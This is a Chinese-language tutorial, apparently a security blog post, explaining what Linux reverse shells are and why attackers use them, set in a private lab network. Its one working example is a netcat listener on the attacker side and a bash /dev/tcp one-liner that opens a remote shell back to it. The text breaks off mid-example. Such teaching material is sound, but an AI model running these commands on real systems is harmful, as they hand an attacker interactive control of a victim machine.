0X00 前言

在上一篇文章 Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shell的理解吧。

0X01 什么是反弹shell

reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

0X02 为什么要反弹shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

0X03 反弹shell的本质是什么

我们可以先以一个linux 下的反弹shell 的命令为例来看一下反弹shell 的命令都做了些什么,掌握了反弹的本质,再多的方法其实只是换了包装而已。

实验环境:

受害者:

Ubuntu Linux ------> 192.168.146.128

攻击者:

Kali Linux ------> 192.168.146.129

我们就以最常见的bash为例:
attacker机器上执行:

nc -lvp 2333

victim 机器上执行:

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

你就会看到下图:

![此处输入图片的描述][1]

可以看到在攻击机上出现了受害者机器的shell

解释一下这条命令具体的含义:

1.bash -i

1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别

2)-i 这个参数表示的是产生交互式的shell

2./dev/tcp/ip/port

/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:

![此处输入图片的描述][2]

但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

实例1:

我们输出字符串到这个文件里

![此处输入图片的描述][3]

攻击机上的输出

![此处输入图片的描述][4]

实例2:

攻击机上的输入

点击收藏 | 33 关注 | 6
登录 后跟帖